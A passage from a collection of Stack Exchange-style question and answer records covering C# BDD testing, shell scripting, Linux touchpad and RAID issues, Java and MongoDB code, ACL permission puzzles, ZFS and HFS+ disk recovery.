valueList.First() == mockedName))).Returns(mockedTables);                factoryMock.Setup(factory => factory.CreateFrom(mockedTables, It.Is<IEnumerable<IJoin>>(joinList => joinList != null && !joinList.Any()))).Returns(mockedFrom);                factoryMock.Setup(factory => factory.CreateCount(mockedFrom, It.Is<IEnumerable<ICondition>>(conditionList => conditionList != null && conditionList.Count() == 1 && conditionList.First() == mockedCondition)));            }            protected override void BecauseOf() => resultQuery = queryCreator.CreateCountQuery(tableName, predicate);            [Fact]            public void it_should_return_not_null() => Assert.NotNull(resultQuery);            [Fact]            public void it_should_call_InstructionFactory_CreateCount_with_correct_values() => factoryMock.VerifyAll();        }        public class given_null_tableName_argument : when_creating_count_query {            [Fact]            public void it_should_throw_ArgumentNullException() => Assert.Throws<ArgumentNullException>(tableName, () => queryCreator.CreateCountQuery(null, () => true));        }        public class given_empty_tableName_argument : when_creating_count_query {            [Fact]            public void it_should_throw_ArgumentException() => Assert.Throws<ArgumentException>(tableName, () => queryCreator.CreateCountQuery(string.Empty, () => true));        }        public class given_null_predicate_argument : when_creating_count_query {            [Fact]            public void it_should_throw_ArgumentNullException() => Assert.Throws<ArgumentNullException>(predicate, () => queryCreator.CreateCountQuery(MimasTest, null));        }    }}My future-implemented SUT class:internal sealed class CommonQueryCreator {    public CommonQueryCreator(IInstructionFactory instructionFactory, IExpressionTranslator expressionTranslator) {        InstructionFactory = instructionFactory;        ExpressionTranslator = expressionTranslator;    }    public IInstructionFactory InstructionFactory {        get;    }    public IExpressionTranslator ExpressionTranslator {        get;    }    public ICount CreateCountQuery(string tableName, Expression<Func<bool>> predicate) {        throw new NotImplementedException();    }}This is how it looks like in Test Explorer:I think my Moq expectation setup is correct, as I see, everything should work correctly. My questions are:Is this a right way of doing BDD?Normally I use pascal casing for method names, but I read (and comprehend the arguments) that underscores are better for reading in BDD name conventions, is this a right way?In this pattern, when asserting exceptions I can't use a BecauseOf() override because of it being called in base class constructor. So, I called the SUT function inside the Assert.Throw(), I couldn't become with a workaround, any ideas?Structurally is something that could be better?"  , "title": "Generate pieces of an SQL query"  , "tags": "c#;unit testing;moq;bdd"  , "accepted_answer": "public abstract class ContextSpecification {    protected ContextSpecification() {        Context();        BecauseOf();    }    protected virtual void BecauseOf() {    }    protected virtual void Context() {    }    protected virtual void Cleanup() {    }}This class does a few things wrong:The constructor seems to call methods that go beyond a normal initialization.The constructor calls virtual methods. This might not work as you expect it: Virtual member call in a constructorBy having a virtual call in an object's constructor you are introducing the possibility that inheriting objects will execute code before they have been fully initialized.The three virtual methods have no implementation. They should be abstract."  } 
{  "id": "_unix.381091"  , "question": "I would like to re-run the cap command if it's failed through the shell script with parameters. For example, the first command is executed successfully but the second command can't so when I pass the parameter rerun, the script will start to execute again second command and continue rest of commandsssh -q $username@$server << EOFset -ecd $CT_PATH && cap -q -s instance=$instance mode=quiet diagnostics:allcap production deploycap sales-demo deployexit 1EOF"  , "title": "Restart a script if it's failed part the way through"  , "tags": "shell script;shell"  } 
{  "id": "_scicomp.4720"  , "question": "I want to perform $k$-Nearest Neighbor Search in multidimensional space, but not using for example $L_2$-distance. I want the user to specify some similar-pairs examples and then perform a search using this information.What algorithm can I use for this?"  , "title": "$k$-Nearest Neighbor Search using examples"  , "tags": "statistics;high dimensional;nearest neighbors"  } 
{  "id": "_unix.309008"  , "question": "I'm running ubuntu gnome 16.04.1 on my hp pavilion ab048tx having an Elantech touchpad. I've tried various dkms fixes available on the internet (including psmouse-elantech-x551c and psmouse-elantech-v7), but nothing seems to get multi-touch into action. Basic functions work (move, click, tap and right-click). Any idea what to do?My (partial) output for cat /proc/bus/input/devices is as follows: I: Bus=0011 Vendor=0002 Product=0001 Version=0000N: Name=PS/2 Elantech TouchpadP: Phys=isa0060/serio1/input0S: Sysfs=/devices/platform/i8042/serio1/input/input5U: Uniq=H: Handlers=mouse0 event6 B: PROP=1B: EV=7B: KEY=70000 0 0 0 0B: REL=3For demsg | grep elantech, it is:[    2.123958] psmouse serio1: elantech: unknown hardware version, aborting...[    2.429095] input: PS/2 Elantech Touchpad as /devices/platform/i8042/serio1/input/input5[ 2506.145724] psmouse serio1: elantech: unknown hardware version, aborting...[ 2506.449970] input: PS/2 Elantech Touchpad as /devices/platform/i8042/serio1/input/input20For synclient -l:Couldn't find synaptics properties. No synaptics driver loaded?Relevant output from Xorg.0.log:[    28.346] (II) config/udev: Adding input device PS/2 Elantech Touchpad (/dev/input/event6)[    28.346] (**) PS/2 Elantech Touchpad: Applying InputClass evdev pointer catchall[    28.347] (II) systemd-logind: got fd for /dev/input/event6 13:70 fd 38 paused 0[    28.347] (II) Using input driver 'evdev' for 'PS/2 Elantech Touchpad'[    28.347] (**) PS/2 Elantech Touchpad: always reports core events[    28.347] (**) evdev: PS/2 Elantech Touchpad: Device: /dev/input/event6[    28.347] (--) evdev: PS/2 Elantech Touchpad: Vendor 0x2 Product 0x1[    28.347] (--) evdev: PS/2 Elantech Touchpad: Found 3 mouse buttons[    28.347] (--) evdev: PS/2 Elantech Touchpad: Found relative axes[    28.347] (--) evdev: PS/2 Elantech Touchpad: Found x and y relative axes[    28.347] (II) evdev: PS/2 Elantech Touchpad: Configuring as mouse[    28.347] (**) evdev: PS/2 Elantech Touchpad: YAxisMapping: buttons 4 and 5[    28.347] (**) evdev: PS/2 Elantech Touchpad: EmulateWheelButton: 4, EmulateWheelInertia: 10, EmulateWheelTimeout: 200[    28.347] (**) Option config_info udev:/sys/devices/platform/i8042/serio1/input/input5/event6[    28.347] (II) XINPUT: Adding extended input device PS/2 Elantech Touchpad (type: MOUSE, id 13)[    28.347] (II) evdev: PS/2 Elantech Touchpad: initialized for relative axes.[    28.347] (**) PS/2 Elantech Touchpad: (accel) keeping acceleration scheme 1[    28.347] (**) PS/2 Elantech Touchpad: (accel) acceleration profile 0[    28.347] (**) PS/2 Elantech Touchpad: (accel) acceleration factor: 2.000[    28.347] (**) PS/2 Elantech Touchpad: (accel) acceleration threshold: 4[    28.347] (II) config/udev: Adding input device PS/2 Elantech Touchpad (/dev/input/mouse0)[    28.347] (II) No input driver specified, ignoring this device.[    28.347] (II) This device may have been added with another device file.I tried using modprobe psmouse proto=imps but then it is detected as PS/2 Generic Mouse and still nothing. evdev is currently handling the touchpad and I also tried using libinput, but it doesn't work. If I try to force synaptics driver using /usr/share/X11/xorg.conf.d, the touchpad completely stops workingEDIT: My device has a touchscreen (detected as Radiyum)Please ask for more if needed!"  , "title": "New Elantech touchpad lacks multitouch (latest kernel)"  , "tags": "kernel;drivers;touchpad"  } 
{  "id": "_unix.153540"  , "question": "I have just created a new raid 5 array using 3 4TB drives (aiming for 8TB of space) on an ubuntu system. While I had a few issues getting started, I believe I have set it up correctly and I have created an ext4 filesystem on it as a single partition using the whole array. When I look at it in gparted though, it reports Size: 7.28 TiB (this is correct - I know the difference between TB and TiB)Used: 117 GiBUnused: 7.16 TiBIf I run sudo df -h I getFilesystem      Size  Used Avail Use% Mounted on/dev/md0        7.2T   51M  6.8T   1% /home/brad/raidwhich is a different size again. The available is 400G less than the size, but the used is only 51M here!My question is, is this the expected output at this point in time, or is this an indication that something has gone awry? If it is expected then what is using the space that is reported on gparted as used?In case anyone wants to see it here is the output from cat /proc/mdstatmd0 : active raid5 sdb1[0] sdd1[3] sdc1[1]      7813772288 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]      [=>...................]  recovery =  7.2% (283321088/3906886144) finish=2181.8min speed=27679K/secunused devices: <none>and from sudo fdisk -lDisk /dev/sda: 250.1 GB, 250059350016 bytes255 heads, 63 sectors/track, 30401 cylinders, total 488397168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x000ac78f   Device Boot      Start         End      Blocks   Id  System/dev/sda1   *        2048   472330239   236164096   83  Linux/dev/sda2       472332286   488396799     8032257    5  Extended/dev/sda5       472332288   488396799     8032256   82  Linux swap / SolarisWARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted.Disk /dev/sdb: 4000.8 GB, 4000787030016 bytes255 heads, 63 sectors/track, 486401 cylinders, total 7814037168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk identifier: 0x00000000   Device Boot      Start         End      Blocks   Id  System/dev/sdb1               1  4294967295  2147483647+  ee  GPTPartition 1 does not start on physical sector boundary.WARNING: GPT (GUID Partition Table) detected on '/dev/sdc'! The util fdisk doesn't support GPT. Use GNU Parted.Disk /dev/sdc: 4000.8 GB, 4000787030016 bytes255 heads, 63 sectors/track, 486401 cylinders, total 7814037168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk identifier: 0x00000000   Device Boot      Start         End      Blocks   Id  System/dev/sdc1               1  4294967295  2147483647+  ee  GPTPartition 1 does not start on physical sector boundary.WARNING: GPT (GUID Partition Table) detected on '/dev/sdd'! The util fdisk doesn't support GPT. Use GNU Parted.Disk /dev/sdd: 4000.8 GB, 4000787030016 bytes255 heads, 63 sectors/track, 486401 cylinders, total 7814037168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk identifier: 0x00000000   Device Boot      Start         End      Blocks   Id  System/dev/sdd1               1  4294967295  2147483647+  ee  GPTPartition 1 does not start on physical sector boundary.WARNING: GPT (GUID Partition Table) detected on '/dev/sde'! The util fdisk doesn't support GPT. Use GNU Parted.Disk /dev/sde: 1000.2 GB, 1000204886016 bytes255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00000000   Device Boot      Start         End      Blocks   Id  System/dev/sde1               1  1953525167   976762583+  ee  GPTDisk /dev/md0: 8001.3 GB, 8001302822912 bytes2 heads, 4 sectors/track, 1953443072 cylinders, total 15627544576 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 524288 bytes / 1048576 bytesDisk identifier: 0x00000000Disk /dev/md0 doesn't contain a valid partition tableHmmmm, the bit at the end about /dev/md0 not containing a valid partition table is interesting."  , "title": "Why is so much of my new ext4 filesystem already marked as used?"  , "tags": "linux;raid;mdadm"  , "accepted_answer": "The issue that /dev/md0 doesn't have a partition table is not relevent to your problem.  You plainly stated that you created the filesystem on the raw device I have created an ext4 filesystem on it as a single partition using the whole arrayso it makes sense that you have no partition table, as you did not partition the space.  Its not an issue, but be sure that you never write a partition table to that partition, as you will clobber the beginning of the filesystem and lose access to data.  As to your other partitions, I see fdisk complaining that the disks have GPT, and advising you to use gdisk instead of fdisk.  It is hard to tell anything from the fdisk output.Now to your primary question, where is the space?/dev/md0        7.2T   51M  6.8T   1% /home/brad/raidWhere did your ~400 GB go?  The went into the filesystem overhead.  The ext4 filesystem preallocates all of the metadata it needs to store to allocate every inode on the system, and additionally on a volume that big, you'll have a lot of copies of the fs superblock and a large number of blocks will be allocated to the filesystem journal.  There is nothing to fix or change here, and the size of the filesystem metadata will not grow over time in an ext[234] filesystem.  Your only real option if you don't like that amount of filesystem overhead is to tune your inode size or use a different filesystem."  } 
{  "id": "_softwareengineering.278195"  , "question": "I will use Java as example, but the question pops up in my mind with any language / framework / stack / pattern / ...For instance in python, should I just use a dict(), or should I subclass it to make my intentions clear? or is that violating duck-typing principal of python? or ...Imagine a simple Echo Server running on port X. The Server consists of:Server accepts clients, and hands them to client handlers.ClientHandler, who handle connected clients (doh!)Main server has a list of registered client handlers, and passes the received request to client handlers in this list, so they can handle or ignore it (not a good design but it's simple). We may now have a ClientHandler who echoes back the received text capitalized, one that only echoes half of it, one that ...Now consider these two versions:interface GenericServer {    void start();    void stop();    // ... other server related stuff, such as set backlog.    void registerHandler(java.util.Observer o); }It looks like duck-typing to me, but in Java! It's okay to pass in any object of type java.util.Observer as handler. As far as GenericServer is concerned, it should be able to observe.We could also do:interface SpecializedServer {    // Marker interface to make everything more clear.    interface ClientHandler extends java.util.Observer { }    void start();    void stop();    // ... other server related stuff, such as set backlog.    void registerHandler(ClientHandler ch); }Now it uses a Marker Interface to say Attention! The passed in observer MUST be a ClientHandler! it must know about clients.But too much use of marker interface may be sign of bad design too. Which version of these two servers is the right way to do it? what is the right thing to do?"  , "title": "For specialized code, use custom interfaces and types or available generic ones?"  , "tags": "object oriented design"  } 
{  "id": "_codereview.100432"  , "question": "I was hoping someone would have a look at how I retrieve the questions from the db, parse the JSON and process the results - possibly advise how I could improve efficiency by streamlining my code. I feel that the way I have processed the results is rather cumbersome!I have a MongoDB that is accessed by custom server code. The server deals with matchmaking, rooms, lobbies etc. for multi-player game. The MongoDB is on same space and holds all the questions for the mobile phone quiz game.This is my first attempt at such a project and although I'm competent in Java and my JSON and Mongo skill are novice.My result pulls back every questionEntry element in the documents for a particular TV show that has a metaTag array element which match the search string.JSON sampleThe query:     // Query our collection documents metaTag elements for a matching string// @SuppressWarnings(deprecation)public void queryMetaTags(String query){    // Query to search all documents in current collection    List<String> continentList = Arrays.asList(new String[]{query});    DBObject matchFields = new        BasicDBObject(season.questions.questionEntry.metaTags,       new BasicDBObject($in, continentList));    DBObject groupFields = new BasicDBObject( _id, $_id).append(questions,        new BasicDBObject($push,$season.questions));    //DBObject unwindshow = new BasicDBObject($unwind,$show);    DBObject unwindsea = new BasicDBObject($unwind, $season);    DBObject unwindepi = new BasicDBObject($unwind, $season.questions);    DBObject match = new BasicDBObject($match, matchFields);    DBObject group = new BasicDBObject($group, groupFields);     ArrayList<DBObject> pipeline = new ArrayList<>();    pipeline.add(unwindsea);    pipeline.add(unwindepi);    pipeline.add(match);    pipeline.add(group);    @SuppressWarnings(deprecation)    AggregationOutput output =         mongoColl.aggregate(pipeline);    //CommandResult output = (CommandResult)    //mongoColl.aggregate(pipeline,new BasicDBObject(explain,true));    //mongoColl.explainAggregate(unwindsea,unwindepi,match,group);    String jsonString = null;    JSONObject jsonObject = null;    jsonResultsArray = null;    ourResultsArray = new ArrayList<JSONObject>();    // Loop for each document in our collection    for (DBObject result : output.results())      {               try         {            // Parse our results so we can add them to an ArrayList            jsonString = JSON.serialize(result);                         jsonObject = new JSONObject(jsonString);            jsonResultsArray = jsonObject.getJSONArray(questions);            // Put each of our returned questionEntry elements into an ArrayList            for (int i = 0; i < jsonResultsArray.length(); i++)            {                //System.out.println(jsonResultsArray element ( + i + ):  + jsonResultsArray.getJSONObject(i).toString());                ourResultsArray.add(jsonResultsArray.getJSONObject(i));                     }        }         catch (JSONException e1)         {            e1.printStackTrace();        }    }   }Each game match consists of 10 questions for this topic, so I pull out a random 10 from the results with:    public void pullOut10Questions(){    // Array to hold 10 random numbers between 0 and our results total    ArrayList<Integer> ourRandomNumbersList = generate10RandomNumbersInRange(ourResultsArray.size());    // Array to hold our 10 random questions from our results    ourQuestionsArray = new ArrayList<JSONObject>();    // Loop through each of our results in array    for (int i = 0; i < ourResultsArray.size(); i++)    {        // Loop through our array holding our 10 random numbers        for(int j = 0; j < ourRandomNumbersList.size(); j++)        {            // If our results array index equals one of our 10 random numbers            if(ourRandomNumbersList.get(j) == i)                {                // Then add that result to our final questionElement array                ourQuestionsArray.add(ourResultsArray.get(i));                //try { // Remove later it's for print test to console<---------------------------                //  System.out.println(Our QuestionEntry from mongo:  + ourResultsArray.get(i).getString(questionEntry));                //} catch (JSONException e) {                //  e.printStackTrace();                //}            }        }    }} // Return 10 random numbers in rangepublic ArrayList<Integer> generate10RandomNumbersInRange(int range){    Random rand = new Random();    int e;    int i;    int g = 10;    // Store random numbers is HashSet    HashSet<Integer> randomNumbers = new HashSet<Integer>();    for (i = 0; i < g; i++)     {        e = rand.nextInt(range);        randomNumbers.add(e);        // Keep adding numbers until we reach 10        if (randomNumbers.size() <= 10)         {            if (randomNumbers.size() == 10)                 g = 10;            g++;            randomNumbers.add(e);        }    }    // Return our random numbers as an ArrayList    ArrayList<Integer> al = new ArrayList<Integer>();    Iterator<Integer> iter = randomNumbers.iterator();    while(iter.hasNext())    {        al.add(iter.next());    }    return al;}I then throw these results at my pojo's so I can manage them easilly:    public void pojoOurQuestions(){    // Copy our questions from ourQuestionsArray into our pojo's     // Loop for each JSONObject in ourQuestionsArray    for(int i = 0; i < ourQuestionsArray.size(); i++)    {        try         {            JSONObject jsonObject = ourQuestionsArray.get(i);            String s = jsonObject.getString(questionEntry);            // Need to put our question entries into our Pojo's            questionEntry = new ObjectMapper().readValue(s, QuestionEntry.class);            //System.out.println(Our questionEntry from pojo:  + questionEntry.toString());        } catch (JSONException e)         {            e.printStackTrace();        } catch (JsonParseException e) {            e.printStackTrace();        } catch (JsonMappingException e) {            e.printStackTrace();        } catch (IOException e) {            e.printStackTrace();        }    }}I've not used JSON with Java before, the process of having to parse my results back and forth seems a untidy to me. Maybe I have got things wrong?"  , "title": "Game server in Java querying MongoDB for JSON"  , "tags": "java;parsing;mongodb;quiz"  } 
{  "id": "_cs.14517"  , "question": "I feel the notion there are countably many Turing machines is wrong.Suppose there is a Turing machine whose input alphabet is {0}. If we replace the input alphabet {0} with {a} and replace every occurrence of 0 with a in the transition table, then we get another Turing machine. Obviously, these two machines are different beacause they recognize different languages, but using any one reasonable encoding sheme, they could be encoded into the same string. So claiming Turing machines are countable only by enumerating their encodings is wrong, because actually there isn't a bijection between Turing machines and their encodings.Is my opinion right?"  , "title": "Are turing machine really countable?"  , "tags": "turing machines"  } 
{  "id": "_codereview.93281"  , "question": "I want to create a production-ready producer/consumer that could help me avoid thread synchronization hell. Is this thread-safe? The main issue is to be safe with exceptions that can arrive.public class AsynchSimpleProducer<T> : IDisposable{    private readonly Action<Exception> error;    private readonly BlockingCollection<T> blockingCollection = new BlockingCollection<T>(50);    public event Func<T, Task> NewItem;    public AsynchSimpleProducer(Action<Exception> error)    {        this.error = error;        Task.Factory.StartNew(() =>                              {                                  //this loop is ends only when blockingCollection.CompleteAdding called                                  Parallel.ForEach(blockingCollection.GetConsumingPartitioner(), SendItem);                              });    }    private void SendItem(T item)    {        try        {            if (NewItem !=null)                NewItem(item).Wait();        }        catch (Exception ex)        {            error(ex);        }    }    public void Send(T newValue)    {        blockingCollection.Add(newValue);    }    public void Dispose()    {        blockingCollection.CompleteAdding();    }}Example of usage:simpleProducer = new AsynchSimpleProducer<int>(Error);simpleProducer.NewItem += simpleProducer_NewItem;//this part can be in taskvar next = random.Next(0, 1000);simpleProducer.Send(next);"  , "title": "Event-based producer/consumer in C#"  , "tags": "c#;producer consumer"  } 
{  "id": "_unix.286353"  , "question": "Users vi and rust share group rust and want to use some file in shared manner.rust$ ls -l myfile -rw-rw-r-- 1 vi rust 0 May 30 03:48 myfilerust$ stat myfile  | grep GidAccess: (0664/-rw-rw-r--)  Uid: ( 1000/      vi)   Gid: ( 1057/    rust)rust$ iduid=1048(rust) gid=1057(rust) groups=1057(rust),...rust$ cat myfilerust$ touch myfile touch: cannot touch myfile: Permission deniedrust $ dd of=myfile dd: failed to open myfile: Permission deniedvi$ iduid=1000(vi) gid=1000(vi) groups=1000(vi),{many unrelated groups skipped},1057(rust),{many unrelated groups skipped}vi$ touch myfilevi$ Only vi user has write access to the file despite of g+w.root# chown rust myfilerust$ ls -l myfile -rw-rw-r-- 1 rust rust 0 May 30 03:51 myfilevi$ touch myfilerust$ chmod g-w myfilevi$ touch myfile touch: cannot touch myfile: Permission deniedvi can or can't write to rust's file depending on g+w bit, as excepted.Why group-writable bit works only in one direction?The file remains unavailable even in a+w mode. Third user can write to the file with a+w although...getfacl myfile returns Invalid argument.The file is on local reiserfs.id vi and id rust matches id in respective users' shells up to order of unrelated groups.One more experiment:vi$ chmod a+w myfilevi$ stat myfile  File: myfile  Size: 0           Blocks: 0          IO Block: 4096   regular empty fileDevice: fb02h/64258d    Inode: 12618147    Links: 1Access: (0666/-rw-rw-rw-)  Uid: ( 1000/      vi)   Gid: ( 1057/    rust)Access: 2016-05-30 18:49:20.000000000 +0300Modify: 2016-05-30 20:48:23.000000000 +0300Change: 2016-05-30 20:48:23.000000000 +0300 Birth: -root# dived -J -u rust -g rust -- iduid=1048(rust) gid=1057(rust) groups=1057(rust)root# dived -J -u rust -g rust -- dd of=/home/vi/home/rust/myfiledd: failed to open /home/vi/home/rust/myfile: Permission deniedroot# dived -J -u rust -g 99999 -- iduid=1048(rust) gid=99999 groups=99999root# dived -J -u rust -g 99999 -- dd of=/home/vi/home/rust/myfilesfdasafd0+1 records in0+1 records out9 bytes (9 B) copied, 1.14971 s, 0.0 kB/sA mystery. Can grsecurity patches be a problem?Next experiment:root# stat /home/vi/home/rust/myfile  File: /home/vi/home/rust/myfile  Size: 0           Blocks: 0          IO Block: 4096   regular empty fileDevice: fb02h/64258d    Inode: 13848412    Links: 1Access: (0664/-rw-rw-r--)  Uid: (99997/ UNKNOWN)   Gid: (99998/ UNKNOWN)Access: 2016-05-31 00:39:24.000000000 +0300Modify: 2016-05-31 00:39:24.000000000 +0300Change: 2016-05-31 00:39:24.000000000 +0300 Birth: -root# getfacl /home/vi/home/rust/myfilegetfacl: /home/vi/home/rust/myfile: Invalid argumentroot# for i in {0..1099}; do if dived -J -u $i -g 99998 -- touch /home/vi/home/rust/myfile 2> /dev/null; then echo $i; fi; done01000root# root# root# mount -o remount,noacl /homeroot# root# for i in {0..1099}; do if dived -J -u $i -g 99998 -- touch /home/vi/home/rust/myfile 2> /dev/null; then echo $i; fi; done | head0123456789(and so on, basically it works)root# mount -o remount,acl /homeroot# root# for i in {0..1099}; do if dived -J -u $i -g 99998 -- touch /home/vi/home/rust/myfile 2> /dev/null; then echo $i; fi; done | head01000root# Looks like getfacl (or it's kernel part) is a problem. ACLs are in effect, but are not manageable."  , "title": "group member unable to write to a group-writable file with reiserfs and extended ACLs"  , "tags": "linux;files;permissions;acl;reiserfs"  } 
{  "id": "_unix.207255"  , "question": "I've hard disk failure on this pool. I replace the disk, I don't have any hard error and I can not to put back it online as nofified::~# zpool status data  pool: data state: UNAVAILstatus: One or more devices could not be opened.  There are insufficient        replicas for the pool to continue functioning.action: Attach the missing device and online it using 'zpool online'.   see: http://www.sun.com/msg/ZFS-8000-3C scan: none requestedconfig:        NAME                    STATE     READ WRITE CKSUM        data                    UNAVAIL      0     0     0  insufficient replicas          raidz2-0              ONLINE       0     0     0            c2t2d0              ONLINE       0     0     0            c2t3d0              ONLINE       0     0     0            c2t4d0              ONLINE       0     0     0            c2t15d0             ONLINE       0     0     0            c2t6d0              ONLINE       0     0     0            c2t7d0              ONLINE       0     0     0            c2t8d0              ONLINE       0     0     0            c2t9d0              ONLINE       0     0     0            c2t10d0             ONLINE       0     0     0          14132293493917319721  UNAVAIL      0     0     0  was /dev/dsk/c2t11d0s0          c2t12d0               ONLINE       0     0     0          c2t13d0               ONLINE       0     0     0          c2t14d0               ONLINE       0     0     0I tried this command::~# zpool online -e  data  c2t5d0 cannot open 'data': pool is unavailableWhy the zpool data still unavailable?c2t0d0 and c2t1d0 are reserved for the system and are in z mirror.unavailableAnd I would like to know what 's meaning this line:14132293493917319721  UNAVAIL      0     0     0  was /dev/dsk/c2t11d0s0because in my mind there's should be like this: c2t11d0        UNAVAIL     0  0   0Thanks."  , "title": "zpool online doesn't work"  , "tags": "solaris;zfs"  } 
{  "id": "_unix.179347"  , "question": "read a few similar questions/posts and tried the solutions, still stuck. My scenario is simple, external ext4 drive was powered off (via cat) while operating, and failed to mount on boot. As I dug deeper, it got darker:lars@whorus:~$ sudo mount -t hfsplus /dev/sdc3 /media/lars/externalmount: wrong fs type, bad option, bad superblock on /dev/sdc3,lars@whorus:~$ sudo fsck -fr /dev/sdc3fsck from util-linux 2.20.1** /dev/sdc3** Checking HFS Plus volume.   Invalid B-tree node size(4, 0)** Volume check failed.lars@whorus:~$ sudo mke2fs -n /dev/sdc3mke2fs 1.42.9 (4-Feb-2014)Filesystem label=OS type: LinuxBlock size=4096 (log=2)Fragment size=4096 (log=2)Stride=0 blocks, Stripe width=0 blocks122085376 inodes, 488337654 blocks24416882 blocks (5.00%) reserved for the super userFirst data block=0Maximum filesystem blocks=429496729614903 block groups32768 blocks per group, 32768 fragments per group8192 inodes per groupSuperblock backups stored on blocks:     32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,     4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,     102400000, 214990848lars@whorus:~$ sudo e2fsck -b 32768 /dev/sdc3e2fsck 1.42.9 (4-Feb-2014)e2fsck: Bad magic number in super-block while trying to open /dev/sdc3lars@whorus:~$ testdiskCommand line: TestDiskTestDisk 6.14, Data Recovery Utility, July 2013Christophe GRENIER <grenier@cgsecurity.org>http://www.cgsecurity.orgOS: Linux, kernel 3.13.0-33-generic (#58-Ubuntu SMP Tue Jul 29 16:45:05 UTC 2014) x86_64Compiler: GCC 4.8Compilation date: 2013-10-29T01:29:29ext2fs lib: 1.42.9, ntfs lib: libntfs-3g, reiserfs lib: none, ewf lib: none/dev/sda: LBA, HPA, LBA48, DCO support/dev/sda: size       1953523055 sectors/dev/sda: user_max   1953523055 sectors/dev/sda: native_max 1953525168 sectors/dev/sda: dco        1953525168 sectors/dev/sdb: LBA, HPA, LBA48, DCO support/dev/sdb: size       321670847 sectors/dev/sdb: user_max   321670847 sectors/dev/sdb: native_max 321672960 sectors/dev/sdb: dco        321672960 sectorsWarning: can't get size for Disk /dev/mapper/control - 0 B - 1 sectors, sector size=512Hard disk listDisk /dev/sda - 1000 GB / 931 GiB - CHS 121601 255 63, sector size=512 - WDC WD10EZEX-00KUWA0, S/N:WD-WMC1S7063930, FW:15.01H15Disk /dev/sdb - 164 GB / 153 GiB - CHS 20023 255 63, sector size=512 - HDT722516DLA380, S/N:VDB71BTCCZ4KEC, FW:V43OA80ADisk /dev/sdc - 2000 GB / 1862 GiB - CHS 243197 255 63, sector size=512 - WD My Book 111D, FW:1049Partition table type (auto): MacDisk /dev/sdc - 2000 GB / 1862 GiB - WD My Book 111DPartition table type: MacInterface AdvancedHFS+ magic value at 16/82/3 1 P partition_map                  1         63         63 2 P Free                          64     262207     262144 3 P HFS                       262208 3906963439 3906701232     HFS+ blocksize=4096, 2000 GB / 1862 GiB 4 P Free                  3906963440 3906963455         16HFS_HFSP_boot_sector 3 P HFS                       262208 3906963439 3906701232     HFS+ blocksize=4096, 2000 GB / 1862 GiBHFS+ magic value at 16/82/3HFS+ magic value at 16/82/3Volume headerHFS+ OKBackup volume headerHFS+ OKSectors are identical.Superblock                        Backup superblock0000 482b0004 80000900   H+......  482b0004 80000900   H+......0008 6673636b 00003a38   fsck..:8  6673636b 00003a38   fsck..:80010 ca703bfa d0dcbf86   .p;.....  ca703bfa d0dcbf86   .p;.....0018 00000000 ca709e6a   .....p.j  00000000 ca709e6a   .....p.j0020 00007269 00000a94   ..ri....  00007269 00000a94   ..ri....0028 00001000 1d1b70f6   ......p.  00001000 1d1b70f6   ......p.0030 07a1ba60 125a6e5c   ...`.Zn\\  07a1ba60 125a6e5c   ...`.Zn\\0038 00010000 00010000   ........  00010000 00010000   ........0040 00026064 00000000   ..`d....  00026064 00000000   ..`d....0048 00000000 00000083   ........  00000000 00000083   ........0050 00000000 00000000   ........  00000000 00000000   ........0058 00000000 00000000   ........  00000000 00000000   ........0060 00000000 00000000   ........  00000000 00000000   ........0068 109ee824 e4771b69   ...$.w.i  109ee824 e4771b69   ...$.w.i0070 00000000 03a37000   ......p.  00000000 03a37000   ......p.0078 00000000 00003a37   ......:7  00000000 00003a37   ......:70080 00000001 00003a37   ......:7  00000001 00003a37   ......:70088 00000000 00000000   ........  00000000 00000000   ........0090 00000000 00000000   ........  00000000 00000000   ........0098 00000000 00000000   ........  00000000 00000000   ........00A0 00000000 00000000   ........  00000000 00000000   ........00A8 00000000 00000000   ........  00000000 00000000   ........00B0 00000000 00000000   ........  00000000 00000000   ........00B8 00000000 00000000   ........  00000000 00000000   ........00C0 00000000 01c00000   ........  00000000 01c00000   ........00C8 00000000 00001c00   ........  00000000 00001c00   ........00D0 0000d239 00000e00   ...9....  0000d239 00000e00   ...9....00D8 08b60936 00000e00   ...6....  08b60936 00000e00   ...6....00E0 00000000 00000000   ........  00000000 00000000   ........00E8 00000000 00000000   ........  00000000 00000000   ........00F0 00000000 00000000   ........  00000000 00000000   ........00F8 00000000 00000000   ........  00000000 00000000   ........0100 00000000 00000000   ........  00000000 00000000   ........0108 00000000 00000000   ........  00000000 00000000   ........0110 00000000 05000000   ........  00000000 05000000   ........0118 05000000 00005000   ......P.  05000000 00005000   ......P.0120 125a6e5c 00005000   .Zn\\..P.  125a6e5c 00005000   .Zn\\..P.0128 00000000 00000000   ........  00000000 00000000   ........0130 00000000 00000000   ........  00000000 00000000   ........0138 00000000 00000000   ........  00000000 00000000   ........0140 00000000 00000000   ........  00000000 00000000   ........0148 00000000 00000000   ........  00000000 00000000   ........0150 00000000 00000000   ........  00000000 00000000   ........0158 00000000 00000000   ........  00000000 00000000   ........0160 00000000 05000000   ........  00000000 05000000   ........0168 00000000 00005000   ......P.  00000000 00005000   ......P.0170 00080dd5 00000024   .......$  00080dd5 00000024   .......$0178 00d26916 000000dc   ..i.....  00d26916 000000dc   ..i.....0180 00d271ba 00000066   ..q....f  00d271ba 00000066   ..q....f0188 0146e7eb 0000004a   .F.....J  0146e7eb 0000004a   .F.....J0190 0146dd38 00000034   .F.8...4  0146dd38 00000034   .F.8...40198 